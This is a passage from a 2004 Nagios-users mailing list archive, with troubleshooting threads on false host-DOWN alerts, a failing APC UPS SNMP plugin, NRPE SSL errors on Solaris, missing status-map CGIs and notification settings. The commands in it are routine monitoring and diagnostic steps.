slow walker but I never walk backwards - Abraham Lincoln _________________________________________________________________ Tired of spam? Get advanced junk mail protection with MSN 8. http://join.msn.com/?page=features/junkmail ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Wed Mar 3 15:30:46 2004 From: agrajag at dragaera.net (Jag) Date: Wed, 03 Mar 2004 09:30:46 -0500 Subject: Host DOWN In-Reply-To: <20040302222102.28744d5e.karl@debisschop.net> References: <8258814A187BCF49BDEE435A5433B18BD8F29C@exchange.drumbeatdigital.com> <1078266923.4354.10.camel@pel> <20040303012413.2645.qmail@minnow.softflare.net> <20040302222102.28744d5e.karl@debisschop.net> Message-ID: <1078324245.4354.18.camel@pel> On Tue, 2004-03-02 at 22:21, Karl DeBisschop wrote: > > When I wrote spopen, one of my primary concerns is that it had to be > easy to trap stderr. And as far as I know, all the plugins do trap > stderr if the invoke a system command. > Thanks for the info. If memory serves it was my own plugins that were giving the error. As they're written in python, I wasn't able to use the spopen function. Since then I found a good way to get the stderr in python, so at some point I'll got back and fix them. For anyone who might be interested, I have a plugin for nicely checking Dell's openmanage software through snmp, as well as one for checking a node's status through SGE at http://www.duke.edu/~sean/nagios/ ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Wed Mar 3 15:39:52 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Wed, 3 Mar 2004 09:39:52 -0500 Subject: Host DOWN Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F2A2@exchange.drumbeatdigital.com> Jag, What do you mean to run check-host-command from command line? According to checkcommands.cfg ######################################################################## ######## # # SAMPLE HOST CHECK COMMANDS # ######################################################################## ######## # This command checks to see if a host is "alive" by pinging it # The check must result in a 100% packet loss or 5 second (5000ms) round trip # average time to produce a critical error. # Note: Only one ICMP echo packet is sent (determined by the '-p 1' argument) # 'check-host-alive' command definition define command{ command_name check-host-alive command_line $USER1$/check_ping -H $HOSTADDRESS$ -w 3000.0,80% -c 500 0.0,100% -p 1 } Command line was used $USER1$/check_ping -H $HOSTADDRESS$ -w 3000.0,80% -c 5000.0,100% -p 1 Where do I type this commmand? Its obviosly not a shell command -----Original Message----- From: Jag [mailto:agrajag at dragaera.net] Sent: Tuesday, March 02, 2004 5:35 PM To: Dmitry Chorine Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Host DOWN On Tue, 2004-03-02 at 14:02, Dmitry Chorine wrote: > I get host down of local server where I run nagios from :) > > So its very weird.. > > ***** Nagios ***** > > Notification Type: PROBLEM > Host: tama > State: DOWN > Address: 192.168.3.33 > Info: (No output!) > > Date/Time: Tue Mar 2 13:46:17 EST 2004 I've found that when it says 'Info: (No output!)', the plugin is usually outputing something to stderr, and nagios isn't paying attention to that. Does anyone know why nagios ignores stderr? stderr is a very useful debugging tool. I suggest trying to run your check-host-command plugin from the command line and seeing what it says. That may tell you why its returning an error state. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Wed Mar 3 15:58:08 2004 From: agrajag at dragaera.net (Jag) Date: Wed, 03 Mar 2004 09:58:08 -0500 Subject: Host DOWN In-Reply-To: <8258814A187BCF49BDEE435A5433B18BD8F2A2@exchange.drumbeatdigital.com> References: <8258814A187BCF49BDEE435A5433B18BD8F2A2@exchange.drumbeatdigital.com> Message-ID: <1078325888.4354.31.camel@pel> On Wed, 2004-03-03 at 09:39, Dmitry Chorine wrote: > Jag, > > What do you mean to run check-host-command from command line? > > According to checkcommands.cfg > > ######################################################################## > ######## > # > # SAMPLE HOST CHECK COMMANDS > # > ######################################################################## > ######## > > > # This command checks to see if a host is "alive" by pinging it > # The check must result in a 100% packet loss or 5 second (5000ms) round > trip > # average time to produce a critical error. > # Note: Only one ICMP echo packet is sent (determined by the '-p 1' > argument) > > # 'check-host-alive' command definition > define command{ > command_name check-host-alive > command_line $USER1$/check_ping -H $HOSTADDRESS$ -w > 3000.0,80% -c 500 > 0.0,100% -p 1 > } > > Command line was used > > $USER1$/check_ping -H $HOSTADDRESS$ -w 3000.0,80% -c 5000.0,100% -p 1 > > Where do I type this commmand? Its obviosly not a shell command > It is a shell command, you just need to substitute in the macro values :) $USER1$ should be defined in /etc/nagios/private/resource.cfg It is most likely /usr/lib/nagios/plugins $HOSTADDRESS$ is the IP of the host in question. This is the IP you put in the 'address' value of the host definition. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Bruce.L.Friedman at snapon.com Wed Mar 3 16:32:25 2004 From: Bruce.L.Friedman at snapon.com (Friedman, Bruce L.) Date: Wed, 3 Mar 2004 09:32:25 -0600 Subject: Problems with check_apc_ups.pl Message-ID: <29475C014D2DDD4999043403BC5D7C3C014BA169@kenow2sxprv1.exchange.snapon.com> Bruce, I turned warnings off in the file I passed to you - also the "use lib utils.pm" was commented out. Please check that you are using the new check_apc_ups.pl file. Also, you should keep the line "require '/usr/lib/nagios/plugins/utils.pm'" assuming that is the location of utils.pm - or adjust it to the correct location of utils.pm from the plugin distribution. I found debugging the script was helped by directly running the snmpget command as follows: snmpget -v 1 -c public ups.hostname.com .1.3.6.1.4.1.318.1.1.1.7.2.3.0 where you substitute your community name for "public" and your hostname for "ups.hostname.com". This OID is for upsAdvTestDiagnosticsResults - a value of 1 indicates OK. If you do not get a reasonable value for the above snmp command then you have a problem with either: a) the snmp toolkit installation b) the configuration of your APC UPS (i.e. community name/IP address allowed) c) other network configuration problems I suspect the problem you are experiencing may be found this way. regards, Bruce Friedman Snap-on, Inc. eTechnician System Administrator bruce.l.friedman at snapon.com (847) 478-7262 (voice) -----Original Message----- From: Gilbert, Bruce [mailto:bruce.gilbert at tmgus.mosaic.com] Sent: Tuesday, March 02, 2004 4:29 PM To: 'Friedman, Bruce L.' Cc: 'nagios-users at lists.sourceforge.net' Subject: RE: [Nagios-users] Problems with check_apc_ups.pl Bruce, First, thanks for the help. When running your version I get the following error - ./check_apc_ups.pl -H 172.23.0.27 Can't locate utils.pm in @INC (@INC contains: /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0 /usr/lib/perl5/site_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.0 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.0 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0) at ./check_apc_ups.pl line 20 I had that same problem with the included script that came with the plugins. Changing the plugin version or yours with the following allows the script to run, but both give - Status: unknown, Batt Cap(%): unknown, Batt Time: unknown, Batt status: unknown, Batt temp(F): unknown, Batt repl: unknown, Output load (%): unknown, Diag result: unknown, I-Freq: unknown, I-V,Max,Min: unknown, unknown, unknown, O-Freq: unknown, O-V: unknown, # use lib utils.pm; #require '/usr/lib/nagios/plugins/utils.pm'; use lib "/usr/local/nagios/libexec/"; use utils qw(%ERRORS &print_revision &support &usage); If you have any other suggestions, I would appreciate it. I am running net-snmp-5.0.9. Would upgrading perhaps alleviate the problem? -----Original Message----- From: Friedman, Bruce L. [mailto:Bruce.L.Friedman at snapon.com] Sent: Tuesday, March 02, 2004 1:03 PM To: 'Gilbert, Bruce' Subject: RE: [Nagios-users] Problems with check_apc_ups.pl Bruce, I have made numerous changes to check_apc_ups.pl to get it to work. Please try out the attached file and let me know if it works for you. I am using net-snmp-5.1-2.1 regards, Bruce Friedman Snap-on, Inc. eTechnician System Administrator bruce.l.friedman at snapon.com (847) 478-7262 (voice) -----Original Message----- From: Gilbert, Bruce [mailto:bruce.gilbert at tmgus.mosaic.com] Sent: Tuesday, March 02, 2004 11:49 AM To: 'nagios-users at lists.sourceforge.net' Subject: [Nagios-users] Problems with check_apc_ups.pl When running the check_apc_ups.pl plugin it returns the following messages - ./check_apc_ups.pl -H 172.23.0.27 Output status: unknown | Rem time: unknown | Battery status: unknown | Battery temp(C): unknown | Battery repl: unknown | Output load (%): unknown | Diag result: unknown If I run ./check_snmp with the OID for battery temp or output status it returns OK. I've downloaded the APC MIBS, copied them to the appropriate folder, and even tried export MIBS=All. Is there anything else I am missing or any suggestions? Thanks, Bruce Gilbert Senior Network Manager Mosaic Sales Solutions ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From dmitryc at drumbeatdigital.com Wed Mar 3 16:59:24 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Wed, 3 Mar 2004 10:59:24 -0500 Subject: Host DOWN Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F2A3@exchange.drumbeatdigital.com> Jag Ok, my bad :) heh tama# /usr/local/nagios/libexec/check_ping -H 192.168.3.33 -w 300.0,80% -c 5000.0,100% -p 1 PING OK - Packet loss = 0%, RTA = 0.02 ms tama# Seems to be ok .. Why it it still reporting as it's down? -----Original Message----- From: Jag [mailto:agrajag at dragaera.net] Sent: Wednesday, March 03, 2004 9:58 AM To: Dmitry Chorine Cc: nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Host DOWN On Wed, 2004-03-03 at 09:39, Dmitry Chorine wrote: > Jag, > > What do you mean to run check-host-command from command line? > > According to checkcommands.cfg > > ###################################################################### > ## > ######## > # > # SAMPLE HOST CHECK COMMANDS > # > ######################################################################## > ######## > > > # This command checks to see if a host is "alive" by pinging it # The > check must result in a 100% packet loss or 5 second (5000ms) round > trip # average time to produce a critical error. > # Note: Only one ICMP echo packet is sent (determined by the '-p 1' > argument) > > # 'check-host-alive' command definition > define command{ > command_name check-host-alive > command_line $USER1$/check_ping -H $HOSTADDRESS$ -w > 3000.0,80% -c 500 > 0.0,100% -p 1 > } > > Command line was used > > $USER1$/check_ping -H $HOSTADDRESS$ -w 3000.0,80% -c 5000.0,100% -p 1 > > Where do I type this commmand? Its obviosly not a shell command > It is a shell command, you just need to substitute in the macro values :) $USER1$ should be defined in /etc/nagios/private/resource.cfg It is most likely /usr/lib/nagios/plugins $HOSTADDRESS$ is the IP of the host in question. This is the IP you put in the 'address' value of the host definition. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From djimenez at pobox.com Wed Mar 3 17:03:37 2004 From: djimenez at pobox.com (Daniel Jimenez) Date: Wed, 03 Mar 2004 10:03:37 -0600 Subject: Short escalations.cfg Message-ID: <404601D9.90508@pobox.com> All, Is there anyway to shorten my escalations.cfg? Basically I want ALL of my hosts and services to notify one set of users, then to notify me. I'd like to avoid having to enter in the name of EVERY service and host. Is there anyway I can do this? I skimmed the docs and saw nothing. I tried using a * in place of the host name and that did not work either. Thanks, -- Daniel Jimenez Tell your ISP to support SPF/SASL AUTH (http://spf.pobox.com) today! --------------------------------------------------------------------/ ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From bruce.gilbert at tmgus.mosaic.com Wed Mar 3 17:19:00 2004 From: bruce.gilbert at tmgus.mosaic.com (Gilbert, Bruce) Date: Wed, 3 Mar 2004 10:19:00 -0600 Subject: Problems with check_apc_ups.pl Message-ID: <8F60DB2764F7EC498CADADCFBA819DA003F45276@dalexchange.tmgsolutionsinc.com> Bruce, Using the new file with the change "require '/usr/local/nagios/libexec/utils.pm'" results in this error- Can't locate utils.pm in @INC (@INC contains: /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0 /usr/lib/perl5/site_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.0 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.0 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0) at ./check_apc_ups.pl line 19. BEGIN failed--compilation aborted at ./check_apc_ups.pl line 19. If I change that line to - use lib "/usr/local/nagios/libexec/"; the script runs, but each status is returned as unknown. SNMPGET works with each OID listed in the check_apc_ups.pl script when run individually. Thanks again for the effort and help. -----Original Message----- From: Friedman, Bruce L. [mailto:Bruce.L.Friedman at snapon.com] Sent: Wednesday, March 03, 2004 9:32 AM To: 'Gilbert, Bruce' Cc: 'nagios-users at lists.sourceforge.net' Subject: RE: [Nagios-users] Problems with check_apc_ups.pl Bruce, I turned warnings off in the file I passed to you - also the "use lib utils.pm" was commented out. Please check that you are using the new check_apc_ups.pl file. Also, you should keep the line "require '/usr/lib/nagios/plugins/utils.pm'" assuming that is the location of utils.pm - or adjust it to the correct location of utils.pm from the plugin distribution. I found debugging the script was helped by directly running the snmpget command as follows: snmpget -v 1 -c public ups.hostname.com .1.3.6.1.4.1.318.1.1.1.7.2.3.0 where you substitute your community name for "public" and your hostname for "ups.hostname.com". This OID is for upsAdvTestDiagnosticsResults - a value of 1 indicates OK. If you do not get a reasonable value for the above snmp command then you have a problem with either: a) the snmp toolkit installation b) the configuration of your APC UPS (i.e. community name/IP address allowed) c) other network configuration problems I suspect the problem you are experiencing may be found this way. regards, Bruce Friedman Snap-on, Inc. eTechnician System Administrator bruce.l.friedman at snapon.com (847) 478-7262 (voice) -----Original Message----- From: Gilbert, Bruce [mailto:bruce.gilbert at tmgus.mosaic.com] Sent: Tuesday, March 02, 2004 4:29 PM To: 'Friedman, Bruce L.' Cc: 'nagios-users at lists.sourceforge.net' Subject: RE: [Nagios-users] Problems with check_apc_ups.pl Bruce, First, thanks for the help. When running your version I get the following error - ./check_apc_ups.pl -H 172.23.0.27 Can't locate utils.pm in @INC (@INC contains: /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0 /usr/lib/perl5/site_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.0 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.0 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0) at ./check_apc_ups.pl line 20 I had that same problem with the included script that came with the plugins. Changing the plugin version or yours with the following allows the script to run, but both give - Status: unknown, Batt Cap(%): unknown, Batt Time: unknown, Batt status: unknown, Batt temp(F): unknown, Batt repl: unknown, Output load (%): unknown, Diag result: unknown, I-Freq: unknown, I-V,Max,Min: unknown, unknown, unknown, O-Freq: unknown, O-V: unknown, # use lib utils.pm; #require '/usr/lib/nagios/plugins/utils.pm'; use lib "/usr/local/nagios/libexec/"; use utils qw(%ERRORS &print_revision &support &usage); If you have any other suggestions, I would appreciate it. I am running net-snmp-5.0.9. Would upgrading perhaps alleviate the problem? -----Original Message----- From: Friedman, Bruce L. [mailto:Bruce.L.Friedman at snapon.com] Sent: Tuesday, March 02, 2004 1:03 PM To: 'Gilbert, Bruce' Subject: RE: [Nagios-users] Problems with check_apc_ups.pl Bruce, I have made numerous changes to check_apc_ups.pl to get it to work. Please try out the attached file and let me know if it works for you. I am using net-snmp-5.1-2.1 regards, Bruce Friedman Snap-on, Inc. eTechnician System Administrator bruce.l.friedman at snapon.com (847) 478-7262 (voice) -----Original Message----- From: Gilbert, Bruce [mailto:bruce.gilbert at tmgus.mosaic.com] Sent: Tuesday, March 02, 2004 11:49 AM To: 'nagios-users at lists.sourceforge.net' Subject: [Nagios-users] Problems with check_apc_ups.pl When running the check_apc_ups.pl plugin it returns the following messages - ./check_apc_ups.pl -H 172.23.0.27 Output status: unknown | Rem time: unknown | Battery status: unknown | Battery temp(C): unknown | Battery repl: unknown | Output load (%): unknown | Diag result: unknown If I run ./check_snmp with the OID for battery temp or output status it returns OK. I've downloaded the APC MIBS, copied them to the appropriate folder, and even tried export MIBS=All. Is there anything else I am missing or any suggestions? Thanks, Bruce Gilbert Senior Network Manager Mosaic Sales Solutions ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Wed Mar 3 17:50:21 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Wed, 3 Mar 2004 09:50:21 -0700 Subject: status map package locations Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA2D5@golden-m.mactec.com> nagios-users-admin at lists.sourceforge.net wrote: > Hey, I was just wondering, I've been using nagios for a long time and > put a couple of boxes together without to much grief. One thing I notice > on this list is every week or so people seem to always have problems > compiling nagios and getting the status map to work. Most people I have > spoken with is mainly a concern with not being able to find / or install > the files required, eg > > libgd > libgd-devel > libpng > libpng-devel > libjpeg > libjpeg-devel > zlib > zlib-devel > > > and of course as the FAQ suggests, when installing it. > > make devclean > ./configure --with-gd-lib=LIBDIR --with-gd-inc=INCDIR > > My question is, has anyone actually put a list up, maybe even on the > FAQ's about where to obtain these packages. I know it differs from place > to place, some people require RPM's, and I myself am using debian, so I > would ideally like to be apt-get these packages. I use RH Linux, and I too use apt-get for just about anything I need to install via RPM. It really takes the pain out of installing dependencies. With that said, if you want to apt-get these packages, why not do so? They're all available from the default repository used by the version of apt-get that I installed: /home/garry: apt-cache pkgnames | grep libgd libgdkcardimage.so.0 libgdkmm-1.2.so.1 libgdk_pixbuf.so.2 libgdk_pixbuf-2.0.so.0 libgd.so.1.8 libgdk-x11-2.0.so.0 libgdbm.so.2 libgdk_pixbuf_xlib-2.0.so.0 libgdk_pixbuf_xlib.so.2 libgdk-1.2.so.0 libgdk_imlib.so.1 libgdkmm-2.0.so.1 /home/garry: apt-cache pkgnames | grep libpng libpng12.so.0 libpng-devel libpngexporter.so libpng10-devel libpng.so.2 libpng.so.3 libpng10 libpng /home/garry: apt-cache pkgnames | grep libjpeg libjpegtran.so libjpeg.so.62 libjpeg-devel libjpeg /home/garry: apt-cache pkgnames | grep zlib zlib-devel zlib zlibmodule.so /home/garry: > Anyway I was just wondering if anyone had such a list? I am also aware > that people will be using different versions of these packages. I just > thought it might be useful to have a list of where to obtain these so > people can get the status maps working etc. > > > - brad Perhaps you could compile said list and add it to the FAQ. You can put apt-get at the top of the list. Another site that I find useful is rpmfind.net. Of course you can always google to find them too. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From julia.mcwhirter at superh.com Wed Mar 3 17:58:20 2004 From: julia.mcwhirter at superh.com (McWhirter,Julia) Date: Wed, 3 Mar 2004 16:58:20 -0000 Subject: NRPE 2.0 Solaris 8.0 Message-ID: <9FF3133289A7A84E81E2ED8F5E56B379644B46@sh-uk-ex01.uk.w2k.superh.com> I have just installed NRPE 2.0. Works fine to Redhat clients but I get the following error to Solaris 8 clients CHECK_NRPE: Error - Could not complete SSL handshake. Have installed the 112438-02 patch for /dev/random* and rebooted the client. Client is listening netstat -a|grep nrpe reports *.nrpe *.* 0 0 24576 0 LISTEN This is my inetd.conf entry nrpe stream tcp nowait nagios /usr/local/nagios/bin/nrpe /usr/local/nagios/bin/nrpe -c /etc/nrpe.cfg --inetd Using the default nrpe.cfg file Any suggestions to get this working? Regards Julia McWhirter IT Manager SuperH (UK) Ltd First Floor Network House 2410 Aztec West Almondbury Bristol BS32 4QX Tel : 01454 465600 Tel (Direct) : 01454 465661 Tel (Mobile) : 07979 913494 Fax : 01454 465601 Email : julia.mcwhirter at superh.com www : www.superh.com ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Wed Mar 3 18:11:23 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Wed, 03 Mar 2004 11:11:23 -0600 Subject: notification once only In-Reply-To: References: Message-ID: <1078333883.29546.138.camel@localhost> On Tue, 2004-03-02 at 19:37, Yao, Jack wrote: > Is there any parameters in the config files [either hosts.cfg or > services.cfg] that will let me do that ? In your services.cfg, set your notification_interval really high. 525600 is 1 year. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fmartinezg at fecsa.es Wed Mar 3 18:24:18 2004 From: fmartinezg at fecsa.es (Martinez Gonzalez, Francisco) Date: Wed, 3 Mar 2004 18:24:18 +0100 Subject: Service dependencies Message-ID: Hello, I have a doubt about the service dependencies: I know that the service dependiencies (I read in the documentation) only can suppress notifications and active checks of services based on the status of one or more other services (cut&paste :)), but in the web interface it does not happen anything, the status of the dependent service is OK (0). I want that when the service that is being depended upon fails, the dependent service show in STATE CRITICAL (red) in the web interface. Is that posible? How do it? Many thanks. Francisco Mart?nez Implantaciones e Infraestructura ENDESA Servicios Avda. Paral?lel, 51 entl., 08004 Barcelona Tel?fono: 93 5091605 Interno: 31 16 05 mailto: fmartinezg at fecsa.es ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Wed Mar 3 18:47:16 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Wed, 3 Mar 2004 12:47:16 -0500 Subject: Missing cgi? Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F2AA@exchange.drumbeatdigital.com> Why is it when I click on statusmpa I get Not Found The requested URL /nagios/cgi-bin/statusmap.cgi was not found on this server. And when click on 3-D Status Map I'm offered to downloadw statuswrl ('cause I need some plug in?) Also under reporting Trends I get same thing Not Found The requested URL /nagios/cgi-bin/trends.cgi was not found on this server. And same in Alert Histogram Not Found The requested URL /nagios/cgi-bin/histogram.cgi was not found on this server. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 3 19:11:29 2004 From: marc at ena.com (Marc Powell) Date: Wed, 3 Mar 2004 12:11:29 -0600 Subject: Missing cgi? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2E3@mismail2.ena.com> On Wednesday, March 03, 2004 11:47 AM, Dmitry Chorine shared with us: > Why is it when I click on statusmpa I get > > Not Found > The requested URL /nagios/cgi-bin/statusmap.cgi was not found on this > server. > > > And when click on 3-D Status Map > > I'm offered to downloadw statuswrl ('cause I need some plug in?) > > Also under reporting > > Trends I get same thing > > Not Found > The requested URL /nagios/cgi-bin/trends.cgi was not found on this > server. > > And same in Alert Histogram > > Not Found > The requested URL /nagios/cgi-bin/histogram.cgi was not found on this > server. http://www.nagios.org/faqs/viewfaq.php?faq_id=55 -- marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From amen at oreilly.com Wed Mar 3 19:14:28 2004 From: amen at oreilly.com (Bob Amen) Date: Wed, 03 Mar 2004 10:14:28 -0800 Subject: It appears as though Nagios is not running, so commands are temporarily unavailable... In-Reply-To: <9FF3133289A7A84E81E2ED8F5E56B379644B45@sh-uk-ex01.uk.w2k.superh.com> References: <9FF3133289A7A84E81E2ED8F5E56B379644B45@sh-uk-ex01.uk.w2k.superh.com> Message-ID: <40462084.4030400@oreilly.com> McWhirter,Julia wrote: > I am running Nagios 1.2 and the web reports that nagios is not running > although it is. > > nagios 11305 1 0 12:44:44 ? 0:00 > /usr/local/nagios/1.2/bin/nagios -d /usr/local/nagios/1.2/etc/nagios.cfg > > Running on Solaris 8. > > Cgi.cfg has the following > > nagios_check_command=/usr/local/nagios/1.2/libexec/check_nagios > /usr/local/nagios/1.2/var/status.log 5 > '/usr/local/nagios/1.2/bin/nagios' > > Any ideas why it does not know that nagios is running? Make sure that the status log (/usr/local/nagios/1.2/var/status.log) is readable by the user that the web server runs as and that the directory it's in is searchable. The CGI runs as the web server euid and needs to stat the status file. That was the problem I had when I first set up nagios. HTH Bob -- Bob Amen O'Reilly Media, Inc. http://www.ora.com/ http://www.oreilly.com/ ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click 